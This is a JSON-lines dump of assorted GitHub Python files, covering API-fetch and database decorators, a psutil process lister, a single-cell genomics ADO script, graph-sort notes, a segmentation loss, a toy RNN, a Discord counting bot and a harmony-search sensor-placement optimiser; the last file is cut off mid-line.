parser.add_argument(\"--num_neg\", type=int, default=10)\n parser.add_argument('--work_dir', type=str, default=\"../outputs/umls/\")\n parser.add_argument('--cali', type=str, default=\"variational\")\n parser.add_argument('--epoch', type=int, default=100)\n args = parser.parse_args()\n args.models = args.models.split('_')\n wab = PlattScalingIndividual(args)\n wab.cali()\n","repo_name":"sylviawangfr/KGfusion","sub_path":"blenders/scaling_stored_scores.py","file_name":"scaling_stored_scores.py","file_ext":"py","file_size_in_byte":6615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29455839587","text":"import requests\nimport traceback\nfrom functools import wraps\n\nfrom core.logger import logger\n\n\nclass Decorator:\n\n # CQHTTP API FETCH DECORATOR\n @staticmethod\n def cqhttp_api(api_name):\n def fetch_decorator(func):\n @wraps(func)\n def wrapped_function(*args):\n params = func(*args) if args else func()\n try:\n url = \"http://127.0.0.1:5700/\" + api_name\n response = requests.get(url=url, params=params).json()\n except:\n logger.error(f\" 调用 /{api_name}/ 失败\", traceback.format_exc())\n return False\n\n # STATUS OK\n if response[\"status\"] == \"ok\":\n return response[\"data\"]\n return dict()\n return wrapped_function\n return fetch_decorator\n\n # ALAPI FETCH DECORATOR\n @staticmethod\n def alapi_fetch(api_name, field=''):\n def fetch_decorator(func):\n @wraps(func)\n def wrapped_function(*args):\n params = func(*args) if args else func()\n try:\n url = \"https://v2.alapi.cn/api/\" + api_name\n response = requests.get(url=url, params=params, timeout=3).json()\n except:\n logger.error(f\" 调用 /{api_name}/ 失败\", traceback.format_exc())\n return False\n\n # ERROR CODE 200 MEANS SUCCESS\n if response[\"code\"] == 200:\n return response[\"data\"][field] if field else response[\"data\"]\n\n # API INTERFACE ERROR\n error_map = {\n 100: \"token 错误\",\n 101: \"账号过期\",\n 102: \"接口请求次数超过限制\",\n 104: \"来源或 ip 不在白名单\",\n 400: \"接口请求失败\",\n 404: \"接口地址不存在\",\n 405: \"请求方法不被允许\",\n 406: \"没有更多数据了\",\n 422: \"接口请求失败\",\n 429: \"技能 CD 中\"\n }\n logger.error(f\" /{api_name}/ 接口返回异常\", error_map[response[\"code\"]])\n return dict()\n return wrapped_function\n return fetch_decorator\n\n # BILIBILI API FETCH DECORATOR\n @staticmethod\n def bilibili_fetch(url):\n def fetch_decorator(func):\n @wraps(func)\n def wrapped_function(*args):\n params = func(*args) if args else func()\n try:\n response = requests.get(url=url, params=params, timeout=3).json()\n except:\n logger.error(f\" 调用 [{url}] 失败\", traceback.format_exc())\n return False\n\n # ERROR CODE 0 MEANS SUCCESS\n error_code = response[\"code\"]\n if error_code == 0:\n return response[\"data\"]\n\n logger.error(f\" [{url}] 接口返回异常\", response['message'])\n return dict()\n return wrapped_function\n return fetch_decorator\n\n # ROLLBACK ON INSERT ERROR\n @staticmethod\n def db_insert(func):\n @wraps(func)\n def try_except(*args):\n try:\n args[0].connect.ping(reconnect=True)\n func(*args)\n args[0].connect.commit()\n return args[0].cursor.lastrowid\n except:\n logger.error(f\" 插入失败\", traceback.format_exc())\n args[0].connect.rollback()\n return 0\n return try_except\n\n # ROLLBACK ON MODIFY ERROR\n @staticmethod\n def db_modify(func):\n @wraps(func)\n def try_except(*args):\n try:\n args[0].connect.ping(reconnect=True)\n func(*args)\n args[0].connect.commit()\n return True\n except:\n logger.error(f\" 更新/删除失败\", traceback.format_exc())\n args[0].connect.rollback()\n return False\n return try_except\n\n # RETURN NULL ON SELECT ERROR\n @staticmethod\n def db_select_one(func):\n @wraps(func)\n def try_except(*args):\n try:\n args[0].connect.ping(reconnect=True)\n func(*args)\n return args[0].cursor.fetchone()\n except:\n logger.error(f\" 查询失败\", traceback.format_exc())\n return tuple()\n return try_except\n\n # RETURN NULL ON SELECT ERROR\n @staticmethod\n def db_select_all(func):\n @wraps(func)\n def try_except(*args):\n try:\n args[0].connect.ping(reconnect=True)\n func(*args)\n return args[0].cursor.fetchall()\n except:\n logger.error(f\" 查询失败\", traceback.format_exc())\n return tuple()\n return try_except\n","repo_name":"in1nit1t/Koi-Bot","sub_path":"core/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":5145,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"2821000883","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport time\n\nimport psutil\n\nfrom rain.common import rain_log\nfrom rain.common import utils\nfrom rain.config.cloud.system import process_conf\n\nCONF = process_conf.CONF\nlogger = rain_log.logg(__name__)\n\n\nclass ProcessInfo(object):\n \"\"\"System process information.\n\n Collect system process related information and return.\n \"\"\"\n\n def _get_process_info(self):\n \"\"\"Collect all process information, including 'name', 'exe', 'pid',\n 'username', 'cmdline', 'memory_percent', 'status', 'create_time',\n 'cpu_percent', 'cpu_num', and return the list.\n \"\"\"\n process_infos = []\n if CONF.process_info.proc_detail:\n logger.debug('More information about the collection process.')\n processss = psutil.process_iter(attrs=['name', 'exe', 'pid',\n 'username', 'cmdline',\n 'memory_percent', 'status',\n 'create_time',\n 'cpu_percent', 'cpu_num'])\n else:\n processss = psutil.process_iter(attrs=[\n 'name', 'exe', 'pid', 'status'])\n for process in processss:\n p_info = process.info\n if p_info.get('create_time', None):\n p_info['create_time'] = utils.str_time(p_info['create_time'])\n else:\n pass\n process_infos.append(p_info)\n logger.info('Collect all process information.')\n return process_infos\n\n def get_process_info(self, process_name=None, process_id=None):\n \"\"\"By default, all process information is returned. If the process\n name is passed in, the incoming process information is returned, and\n the type list is returned.\n \"\"\"\n process_info = []\n process_infos = self._get_process_info()\n if process_name:\n logger.debug('Collect the specified process name information, '\n 'process name: {}.'.format(process_name))\n for p_name in process_name:\n for p_info in process_infos:\n if p_name.lower() in p_info['name'].lower():\n process_info.append(p_info)\n if process_id:\n logger.debug('Collect the specified process id information, '\n 'process id: {}.'.format(process_id))\n for p_id in process_id:\n for p_info in process_infos:\n if p_id == p_info['pid']:\n process_info.append(p_info)\n if not process_name and not process_id:\n process_info = process_infos\n return process_info\n logger.info('Collect process information and process.')\n return process_info\n","repo_name":"SuPerCxyz/rain","sub_path":"rain/cloud/system/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"34949317324","text":"# script to get ADO rate from germline SNPs\n# run in mosaic-custom conda environment\n# input should have been annotated with matched bulk normal ('AF-matched_bulk_normal' needs to be in sample.dna.col_attrs.keys())\n\n\n\n\nimport mosaic.io as mio\nimport pandas as pd\nimport numpy as np\nfrom pathlib import Path\nfrom tea.plots import plot_snv_clone\nimport json\nimport argparse, sys\n\ndef main(args):\n # ----- io ----- \n input_h5 = Path(args.input_h5)\n if args.sample_name is None:\n sample_name = input_h5.name.split('.')[0]\n else:\n sample_name = args.sample_name\n\n # parameters for identifying germline HET SNPs\n sc_mean_AF_lower_bound = args.sc_mean_AF_lower_bound * 100 # times 100 for Tapestri data \n sc_mean_AF_upper_bound = args.sc_mean_AF_upper_bound * 100\n bulk_AF_lower_bound = args.bulk_AF_lower_bound\n\n output_dir = Path(args.output_dir)\n # -----------------\n\n sample = mio.load(str(input_h5), raw = False)\n sample.dna.genotype_variants(\n min_dp = 8,\n min_alt_read = 3,\n )\n assert('AF-matched_bulk_normal' in sample.dna.col_attrs.keys())\n germline_snps = pd.DataFrame(index = sample.dna.ids()[\n ~np.isnan(sample.dna.col_attrs['AF-matched_bulk_normal'])\n ])\n germline_snps['AF-matched_bulk_normal'] = sample.dna.col_attrs['AF-matched_bulk_normal'][\n ~np.isnan(sample.dna.col_attrs['AF-matched_bulk_normal'])\n ]\n \n # ----- calcualte parameters for filtering germline HET SNPs -----\n cell_thpt = sample.dna.shape[0]\n germline_snps['sc_mut(AF>0)_prev'] = germline_snps.index.map(\n lambda x: float((sample.dna.get_attribute('AF', features = [x]) > 0).sum(axis=0)[0] / cell_thpt)\n )\n germline_snps['sc_mean_AF(positive cells only)'] = germline_snps.index.map(\n lambda x: sample.dna.get_attribute('AF', features = [x]).replace(0, np.NaN).mean()[0]\n )\n\n germline_snps['sc_detec(DP>0)_prev'] = germline_snps.index.map(\n lambda x: float((sample.dna.get_attribute('DP', features = [x]) > 0).sum(axis=0)[0] / cell_thpt)\n )\n\n germline_snps['ADO'] = germline_snps.index.map(\n lambda x: sample.dna.get_attribute('AF', features = [x]).isin([0, 100]).sum(axis=0)[0] / cell_thpt\n )\n\n # ----- filter for germline HET SNPs -----\n filtered_g_snps = germline_snps[\n (germline_snps['sc_mean_AF(positive cells only)'] > sc_mean_AF_lower_bound) & \n (germline_snps['sc_mean_AF(positive cells only)'] < sc_mean_AF_upper_bound) & \n (germline_snps['AF-matched_bulk_normal'] > bulk_AF_lower_bound) \n # & (germline_snps['AF-matched_bulk_normal'] < 0.8) * (germline_snps['sc_detec(DP>0)_prev'] >= 0.75)\n ]\n\n # ----- write outputs -----\n filtered_g_snps.to_csv(output_dir / f'{sample_name}-germline_SNPs_info.csv', index = True, header = True)\n ado_stats = {}\n ado_stats['num_germline_snps_identified'] = filtered_g_snps.shape[0]\n ado_stats['mean_ADO'] = filtered_g_snps['ADO'].mean()\n with open(output_dir / f\"{sample_name}-ado_stats.json\", \"w\") as out_json:\n json.dump(ado_stats, out_json)\n \n # make sc-AF heatmap for sanity check\n sc_af_heatmap = plot_snv_clone(\n sample_obj= sample, \n sample_name = sample_name,\n story_topic = 'germline_SNPs',\n voi = filtered_g_snps.index.tolist(),\n attribute = 'AF_MISSING',\n vars_to_sort_by = filtered_g_snps.index.tolist(),\n barcode_sort_method='hier',\n )\n sc_af_heatmap.write_image(str(output_dir / f'{sample_name}-germline_SNP_sc_AF_heatmap.png'), format=\"png\", width=30 * filtered_g_snps.shape[0], height=0.5 * sample.dna.shape[0], scale=2)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--sample_name', type=str, help='sample name', default=None)\n parser.add_argument('--input_h5', type=str, help='input h5 file')\n parser.add_argument('--sc_mean_AF_lower_bound', type=float, help='For identifying germline SNPs: sc_mean_AF_lower_bound (AF=0 not considered)', default=0.2,)\n parser.add_argument('--sc_mean_AF_upper_bound', type=float, help='sc_mean_AF_upper_bound (AF=0 not considered)', default=0.8,)\n parser.add_argument('--bulk_AF_lower_bound', type=float, help='For identifying germline SNPs: bulk_AF_lower_bound', default=0.2)\n parser.add_argument('--output_dir', type=str, help='output directory to save CRAVAT results. Default to the parent directory of input H5.', default = None)\n\n args = parser.parse_args(None if sys.argv[1:] else ['-h'])\n\n main(args)","repo_name":"haochenz96/mosaic","sub_path":"scripts/ADO/calculate_ADO.py","file_name":"calculate_ADO.py","file_ext":"py","file_size_in_byte":4527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19667577966","text":"# method 1: using DFS\n#logic: just run the DFS and when there is no adjacent node put the node into the stack\n# At last print the stack in opposite direction\n\n# why came with DFS? \n# Ans: as DFS go deeper and deeper and we need to print the node with lesser outorder vertices first\n# means stop at node with no adjacent node(no outgoing vertices as DAG will must contain,\n# at least one vertex with outgoing edge = 0 and incoming edge =0).\n\n# i.e we have to print the vertex with no outgoing edge at last and that can be done \n# while traversing back in case of DFS.\n\n# Note(VVI) for dfs method: here you are putting the node in the ans(stack), while traversing back that's why it's giving correct ans always\n# but if we put the node at start itself in the ans like when you are calling the dfs for that node then it will not give the corect ans always...\n# keep this in mind.. if you do like this graph like test case 2 will not work\n\n# if you do by finding the indegree like BFS then that will always give the correct ans as that is the basic of tolopogical sort.\n\n# Note: this method will only work if no cycle.. for cycle detecting and then printing see the below method that i submitted in Q \"269 Alien dictionary\"\n# or we can also modify in this like we can use two visited array like we did in cycle detection Q\n\n# from collections import defaultdict\n# class Graph:\n# def __init__(self,n):\n# self.V= n\n# self.visited= [False]*n\n# self.AdjList= defaultdict(list)\n \n# def addEdge(self,u,v):\n# self.AdjList[u].append(v)\n\n# def FindTopoSort(self, adj,src, stack):\n# self.visited[src]= True\n# for u in adj[src]:\n# if not self.visited[u]:\n# self.FindTopoSort(adj, u, stack) \n# # while traversing back put the node into the stack and node with less no of outorder vertices \n# # will be kept first(as it will start traversing back at this node only) so final ans will be the opposite of stack\n\n # node with largest visiting time(or minimum finishing time) is pushed first when there is no further adjacent node is there which has not been visited\n# stack.append(src)\n\n# you can start with any node, in dfs it doesn't matter in printing topological sort or detecting cycle\n# def TopoSort(self,n, adj):\n# stack= []\n# for i in range(n):\n# if not self.visited[i]:\n# self.FindTopoSort(adj,i,stack)\n# while stack: \n# print(stack.pop(), end=\" \")\n\n# test case 1:\n# g= Graph(6)\n# g.addEdge(5,2)\n# g.addEdge(5,0)\n# g.addEdge(2,3)\n# g.addEdge(3,1)\n# g.addEdge(4,0)\n# g.addEdge(4,1)\n# print(g.AdjList)\n# g.TopoSort(6,g.AdjList)\n\n# test case 2:\n# g= Graph(3)\n# g.addEdge(0,2)\n# g.addEdge(0,1)\n# g.addEdge(1,2)\n\n\n# another way using dfs: this submitted in Q \"269 Alien dictionary\"\n\n\n# method 2 using BFS: Kahn's Algorithm\n# logic: use the concept of indegree as the node with indegree 0 will come at first and\n# node with more indegree will come later and so\n\n# This method can also be used to detect cycle in directed graph\n# just count the no of nodes added in the Q, if there will be cycle then count bool:\n AdjList= defaultdict(list)\n # first convert into adjacency list(edges) for directed graph\n # According to the meaning of the Q.\n for second,first in prerequisites:\n AdjList[first].append(second)\n\n def checkCycle(src):\n visited.add(src)\n path_visited.add(src)\n for u in AdjList[src]:\n if u not in visited:\n if checkCycle(u):\n return True\n elif u in path_visited:\n return True\n path_visited.remove(src)\n return False\n\n visited= set()\n path_visited= set()\n for i in range(numCourses):\n if i not in visited and checkCycle(i): # if cycle simply return False, else continue checking for another node\n return False\n return True\n \n \n# method 2: bfs template\nfrom collections import defaultdict\nimport collections\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n AdjList= defaultdict(list)\n # first convert into adjacency list(edges) for directed graph\n for first,second in prerequisites:\n AdjList[second].append(first) # phle 2nd wala course karenge tb hi first kar sakte h.\n \n n = numCourses\n indegree= [0]*n\n \n # finding the indegree of each vertices\n for i in range(n):\n for k in AdjList[i]: # if k is adj to 'i' means there is one indegree edge to 'k'\n indegree[k]+= 1\n \n # now applying the BFS to get the topological order\n count, ans = 0, []\n Q = collections.deque()\n for i in range(n):\n if indegree[i]==0: \n Q.append(i)\n \n while Q:\n count+= 1 \n u= Q.popleft()\n ans.append(u)\n # after poping decrease the indegree of all node adjacent to 'u'\n for j in AdjList[u]:\n indegree[j] -= 1 \n if indegree[j]== 0: \n Q.append(j)\n\n if count!= n: \n return False\n return True","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Graph/Topologolical_sort.py","file_name":"Topologolical_sort.py","file_ext":"py","file_size_in_byte":8076,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"41453471","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass SegmentationLoss(torch.autograd.Function):\n @staticmethod\n def forward(ctx, logit, label):\n assert logit.dim() == 4, logit.size()\n assert label.dim() == 3, label.size()\n\n softmax = F.softmax(logit, 1)\n n, c, h, w = softmax.size()\n\n label_oh = F.one_hot(label, 256)[..., :c].permute(0, 3, 1, 2).float().contiguous()\n if (label_oh.size(2) != h) or (label_oh.size(3) != w):\n label_oh = F.interpolate(label_oh, (h, w), mode='bilinear')\n val, idx = label_oh.max(1)\n label_oh = F.one_hot(idx, c).permute(0, 3, 1, 2).float().contiguous() * \\\n (val.unsqueeze(1) > 0.5).float()\n\n label_mask = label_oh.max(1, keepdim=True)[0]\n loss = - ( label_oh * torch.log(softmax + 1e-5) ).sum() / (label_mask.sum() + 1e-5)\n\n #lr_mult = torch.ones((1,), device=loss.device, dtype=loss.dtype)[0] * lr_mult\n #ctx.save_for_backward(softmax, label_oh, label_mask, lr_mult)\n ctx.save_for_backward(softmax, label_oh, label_mask)\n return loss\n\n @staticmethod\n def backward(ctx, grad_output):\n #softmax, label_oh, label_mask, lr_mult = ctx.saved_tensors\n softmax, label_oh, label_mask = ctx.saved_tensors\n grad_logit = grad_label = None\n\n if ctx.needs_input_grad[0]:\n num_pix = torch.clamp_min(label_mask.sum(), 1)\n grad_logit = ( (softmax - label_oh) * label_mask ) * (grad_output / num_pix)\n\n return grad_logit, grad_label\n\nsegmentation_loss = SegmentationLoss.apply\n","repo_name":"js-fan/MCIC","sub_path":"core/model/custom_layer/segmentation_loss.py","file_name":"segmentation_loss.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"17301322064","text":"import discord\nfrom discord.ext import commands\nfrom functions import *\n\nTOKEN: str = ''\nCHANNEL_ID: int = 0\nclient = commands.Bot(command_prefix = '.', intents = discord.Intents.all())\n\n@client.event\nasync def on_ready(): print('cum')\n\n@client.event\nasync def on_message(message):\n message_content: str = str(message.content)\n channel = message.channel.id\n if channel != CHANNEL_ID: return\n try:\n int(message_content)\n except ValueError:\n await message.delete()\n return\n if int(message_content) - 1 == get_number(\"data\") and str(message.author) != get_user(\"data\"):\n update_data(\"data\", get_number(\"data\"), str(message.author))\n else:\n await message.delete()\n\nclient.run(TOKEN)","repo_name":"1upses/counting_discord_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40646917551","text":"import numpy as np\n\nclass RNN:\n def __init__(self, Wx, Wh, h0):\n \"\"\"\n Wx : 入力xにかかる重み(1,隠れ層のノード数)\n Wh : 1時刻前のhにかかる重み(隠れ層のノード数, 隠れ層のノード数)\n h0 : 隠れ層の初期値(1,隠れ層のノード数)\n \"\"\"\n\n # パラメータのリスト\n self.params = [Wx, Wh]\n\n # 隠れ層の初期値を設定\n self.h_prev = h0\n\n def forward(self, x):\n \"\"\"\n 順伝播計算\n x : 入力(データ数,1)\n \"\"\"\n Wx, Wh = self.params\n h_prev = self.h_prev\n\n t = np.dot(h_prev, Wh) + np.dot(x, Wx)\n\n # 活性化関数は恒等写像関数とする\n h_next = t\n\n # 隠れ層の状態の保存\n self.h_prev = h_next\n\n return h_next\n\n \nif __name__==\"__main__\":\n Wx = np.arange(1*5).reshape(1, 5)\n print(\"Wx\\n\", Wx)\n Wh = np.arange(5*5).reshape(5, 5)\n print(\"Wh\\n\", Wh) \n h0 = np.arange(5).reshape(1, 5)\n print(\"h0\\n\", h0) \n \n rnn = RNN(Wx, Wh, h0)\n \n x = np.arange(3*1).reshape(3, 1)\n print(\"x\\n\", x)\n \n h_next = rnn.forward(x)\n print(\"h_next\\n\", h_next)\n","repo_name":"skillup-ai/tettei-engineer","sub_path":"chapter14/Q2_ans.py","file_name":"Q2_ans.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"ja","doc_type":"code","stars":26,"dataset":"github-code","pt":"3"}
+{"seq_id":"21491147702","text":"from math import inf\nimport random\nimport logging\nfrom tqdm import tqdm\nfrom visualize import draw\nimport numpy as np \nimport os \nclass HarmonySearch():\n def __init__(self, objective_function, AoI, cell_size, hms=30, hmv=7, hmcr=0.9, par=0.3, BW=0.2, lower=[], upper=[], min_no = 0, savedir = './baseline'):\n \"\"\"\n param explaination\n \n :param hms: harmony memory size, number of vectors stored in harmony memory\n :param hmv: harmony vector size\n :param hmcr: probability for each node considering\n :param par: pitch adjustment rate\n :param BW: distance bandwidth, used for adjust node position when pich adjustment is applied\n :param lower: list contains coordinates for bottom corners\n :param upper: list contains coordinates for upper corners\n \"\"\"\n self.root_dir = savedir\n self.image_dir = os.path.join(self.root_dir, 'plot')\n self.log_dir = os.path.join(self.root_dir, 'log')\n if not os.path.exists(self.root_dir):\n print('Make log dir')\n os.makedirs(self.root_dir)\n os.makedirs(self.image_dir)\n os.makedirs(self.log_dir)\n else:\n raise ValueError('Save in another dir')\n \n self._obj_function = objective_function\n self.radius = self._obj_function.get_radius()\n self.hms = hms\n self.hmv = hmv\n self.hmcr = hmcr\n self.par = par\n self.BW = BW\n self.lower = lower\n self.upper = upper\n self.min_no = min_no\n self.AoI = AoI\n self.cell_size = cell_size\n\n \n self.logger2 = logging.getLogger(name='best maximum coverage ratio')\n self.logger2.setLevel(logging.INFO)\n handler2 = logging.FileHandler(os.path.join(self.log_dir, 'best_maximum_coverage_ratio.log'))\n handler2.setLevel(logging.INFO)\n formatter2 = logging.Formatter('%(levelname)s: %(message)s')\n handler2.setFormatter(formatter2)\n self.logger2.addHandler(handler2)\n self.best_coverage = 0\n\n def _random_selection(self, min_valid):\n harmony = []\n for each_node in range(self.hmv):\n type_ = random.choice([0, 1])\n if type_ == 0:\n x = self.lower[0][0] + (self.upper[0][0] - self.lower[0][0])*random.random()\n y = self.lower[0][1] + (self.upper[0][1] - self.lower[0][1])*random.random()\n else:\n x = self.lower[1][0] + (self.upper[1][0] - self.lower[1][0])*random.random()\n y = self.lower[1][1] + (self.upper[1][1] - self.lower[1][1])*random.random()\n harmony.append([x, y])\n return harmony\n \n def _centroid_selection(self, min_valid):\n num_width_cell = self.AoI[0] // self.cell_size[0]\n num_height_cell = self.AoI[1] // self.cell_size[1]\n # harmony = [[-1, -1]] * self.hmv\n # type_trace = [random.choice(range(len(self.upper))) for i in range(self.hmv)]\n # valid_nodes = random.sample(range(self.hmv), random.randrange(min_valid, num_width_cell*num_height_cell + 1))\n # id_valid_cell = random.sample(range(num_width_cell*num_height_cell), len(valid_nodes))\n id_valid_cell = list(range(self.hmv))\n random.shuffle(id_valid_cell)\n harmony = []\n type_trace = []\n for ids in range(self.hmv):\n type_ = random.choice([0,1])\n width_coor = id_valid_cell[ids] % num_width_cell\n height_coor = id_valid_cell[ids] // num_width_cell\n x = width_coor * self.cell_size[0] + self.cell_size[0] / 2\n y = height_coor * self.cell_size[1] + self.cell_size[1] / 2\n # harmony[each_node] = [x, y]\n # type_trace[each_node] = type_\n harmony.append([x, y])\n type_trace.append(type_)\n return harmony, type_trace\n \n def _cell_selection(self, min_valid):\n num_width_cell = self.AoI[0] // self.cell_size[0]\n num_height_cell = self.AoI[1] // self.cell_size[1]\n # harmony = [[-1, -1]] * self.hmv\n # type_trace = [random.choice(range(len(self.upper))) for i in range(self.hmv)]\n # valid_nodes = random.sample(range(self.hmv), random.randrange(min_valid, num_width_cell*num_height_cell + 1))\n # id_valid_cell = random.sample(range(num_width_cell*num_height_cell), len(valid_nodes))\n id_valid_cell = list(range(self.hmv))\n random.shuffle(id_valid_cell)\n harmony = []\n type_trace = []\n for ids in range(self.hmv):\n type_ = random.choice([0,1])\n width_coor = id_valid_cell[ids] % num_width_cell\n height_coor = id_valid_cell[ids] // num_width_cell\n x = width_coor * self.cell_size[0] + self.cell_size[0]*random.random()\n y = height_coor * self.cell_size[1] + self.cell_size[1]*random.random()\n # harmony[each_node] = [x, y]\n # type_trace[each_node] = type_\n harmony.append([x, y])\n type_trace.append(type_)\n return harmony, type_trace\n\n def _initialize_harmony(self, type = \"default\", min_valid=14, initial_harmonies=None):\n \"\"\"\n Initialize harmony_memory, the matrix containing solution vectors (harmonies)\n \"\"\"\n if initial_harmonies is not None:\n # assert len(initial_harmonies) == self._obj_function.get_hms(),\\\n # \"Size of harmony memory and objective function is not compatible\"\n # assert len(initial_harmonies[0]) == self._obj_function.get_num_parameters(),\\\n # \"Number of params in harmony memory and objective function is not compatible\"\n for each_harmony, type_trace in initial_harmonies:\n self._harmony_memory.append((each_harmony, self._obj_function.get_fitness(each_harmony, type_trace)[0]))\n else:\n assert type in [\"default\", \"centroid\", \"cell\"], \"Unknown type of initialization\"\n self._harmony_memory = []\n if type == \"default\":\n for _ in range(0, self._obj_function.get_hms()):\n harmony = self._random_selection(min_valid)\n fitness, type_trace = self._obj_function.get_fitness(harmony)\n self._harmony_memory.append((harmony, type_trace, fitness[0]))\n elif type == \"centroid\":\n for _ in range(0, self._obj_function.get_hms()):\n harmony, type_trace = self._centroid_selection(min_valid)\n fitness, type_trace = self._obj_function.get_fitness(harmony)\n self._harmony_memory.append((harmony, type_trace, fitness[0]))\n elif type == \"cell\":\n for _ in range(0, self._obj_function.get_hms()):\n harmony, type_trace = self._cell_selection(min_valid)\n fitness, type_trace = self._obj_function.get_fitness(harmony)\n self._harmony_memory.append((harmony, type_trace, fitness[0]))\n\n def _memory_consideration(self):\n \"\"\"\n Generate new harmony from previous harmonies in harmony memory\n Apply pitch adjustment with par probability\n \"\"\"\n harmony = []\n for i in range(self.hmv):\n p_hmcr = random.random()\n if p_hmcr < self.hmcr:\n id = random.choice(range(self.hms))\n [x, y] = self._harmony_memory[id][0][i]\n [x, y] = self._pitch_adjustment([x, y])\n else:\n type_ = random.choice([0, 1])\n if type_ == 0:\n x = self.lower[0][0] + (self.upper[0][0] - self.lower[0][0])*random.random()\n y = self.lower[0][1] + (self.upper[0][1] - self.lower[0][1])*random.random()\n else:\n x = self.lower[1][0] + (self.upper[1][0] - self.lower[1][0])*random.random()\n y = self.lower[1][1] + (self.upper[1][1] - self.lower[1][1])*random.random()\n\n if x > self.upper[1][0] or x < self.lower[0][0]:\n x = -1\n if y > self.upper[1][1] or y < self.lower[0][1]:\n y = -1\n harmony.append([x, y])\n \n return harmony\n\n def _pitch_adjustment(self, position):\n \"\"\"\n Adjustment for generating completely new harmony vectors\n \"\"\"\n p_par = random.random()\n if p_par < self.par:\n bw_rate = random.uniform(-1,1)\n position[0] = self.BW*bw_rate + position[0]\n position[1] = self.BW*bw_rate + position[1]\n return position\n\n def _new_harmony_consideration(self, harmony, fitness, type_trace):\n \"\"\"\n Update harmony memory\n \"\"\"\n # (fitness, _), type_trace = self._obj_function.get_fitness(harmony)\n \n worst_fitness = float(\"+inf\")\n worst_ind = -1\n best_fitness = float(\"-inf\")\n best_ind = -1\n for ind, (_, _x, each_fitness) in enumerate(self._harmony_memory):\n if each_fitness < worst_fitness:\n worst_fitness = each_fitness\n worst_ind = ind\n \n if each_fitness > best_fitness:\n best_fitness = each_fitness\n best_ind = ind\n \n if fitness >= worst_fitness:\n self._harmony_memory[worst_ind] = (harmony, type_trace, fitness)\n \n return best_ind\n\n def _get_best_fitness(self):\n \"\"\"\n Gest best fitness and corresponding harmony vector in harmony memory\n \"\"\"\n best_fitness = float(\"-inf\")\n best_harmony = []\n for each_harmony, type_trace, each_fitness in self._harmony_memory:\n if each_fitness > best_fitness:\n best_fitness = each_fitness\n best_harmony = each_harmony\n type_ = type_trace\n return best_harmony, type_, best_fitness\n\n def _get_best_coverage_ratio(self):\n best_harmony, type_trace = self._get_best_fitness()[0:2]\n (_, coverage_ratio), _ = self._obj_function.get_fitness(best_harmony)\n return coverage_ratio\n\n def _evaluation(self, threshold):\n coverage_ratio = self._get_best_coverage_ratio()\n best_harmony, type_, best_fitness = self._get_best_fitness()\n if coverage_ratio > self.best_coverage and coverage_ratio >= threshold:\n self.logger.info(f\"Pos: {str(best_harmony)}\\nType: {str(type_)}\\nCoverage: {str(coverage_ratio)}\")\n self.best_coverage = coverage_ratio\n self.logger.info(\"This harmony is sastified\")\n elif coverage_ratio >= threshold:\n self.logger.info(f\"Pos: {str(best_harmony)}\\nType: {str(type_)}\\nCoverage: {str(coverage_ratio)}\")\n self.logger.info(\"This harmony is sastified\")\n elif coverage_ratio > self.best_coverage:\n self.logger.info(f\"Pos: {str(best_harmony)}\\nType: {str(type_)}\\nCoverage: {str(coverage_ratio)}\")\n self.best_coverage = coverage_ratio\n return False\n\n def _count_sensor(self, harmony):\n count_ = 0\n for item in harmony:\n if item[0] >= 0 and item[1] >= 0:\n count_ += 1\n return count_\n \n def _search(self, nSearch):\n bestharmony = None \n besttrace = None\n best = float('-inf')\n \n for i in range(nSearch):\n candidate_harmony = self._memory_consideration()\n (candidatefitness, _), type_trace = self._obj_function.get_fitness(candidate_harmony)\n if candidatefitness > best:\n best=candidatefitness\n bestharmony = candidate_harmony\n besttrace=type_trace\n \n return bestharmony, best, besttrace\n \n def run(self, type_init=\"default\", min_valid=14,steps=100, threshold=0.9,order=0, logger=None):\n \n print(\"Start run:\")\n self._initialize_harmony(type_init, min_valid)\n\n best_ind = -1\n for i in tqdm(range(steps)):\n # new_harmony = self._memory_consideration()\n new_harmony, new_fitness, new_trace = self._search(10)\n\n new_best_ind = self._new_harmony_consideration(new_harmony, new_fitness, new_trace)\n\n best_harmony, best_type, best_fitness = self._harmony_memory[best_ind]\n \n if new_best_ind != best_ind:\n best_ind = new_best_ind\n logger.info(f'Step: {str(i)} Best harmony: {str(best_harmony)} Type: {str(best_type)} Best_fitness: {str(best_fitness)}')\n logger.info('------------------------------------------------------------------------------------')\n\n best_harmony, best_type, best_fitness = self._harmony_memory[best_ind]\n \n \n used_node = []\n type_trace = best_type\n for ind, node in enumerate(best_harmony):\n if node[0] > 0 and node[1] > 0:\n used_node.append(node)\n coverage = self._obj_function.get_coverage_ratio(used_node, type_trace)\n no_used = len(used_node)\n no_used_convert = sum(type_trace) + (len(type_trace)-sum(type_trace))/2\n\n draw(used_node, type_trace, os.path.join(self.image_dir, './fig{}.png'.format(str(order))))\n\n # save the best for1 runs\n self.logger2.info(f'Best harmony: {str(best_harmony)}\\nType: {str(type_trace)}\\nBest_fitness: {str(best_fitness)}\\nCoressponding coverage: {str(coverage)} \\nCoressponding sensors: {str(no_used)} and {str(no_used_convert)}')\n self.logger2.info('------------------------------------------------------------------------------------')\n \n \n \n return best_fitness, coverage, no_used, no_used_convert\n \n def test(self, type_init=\"default\", min_valid=14, 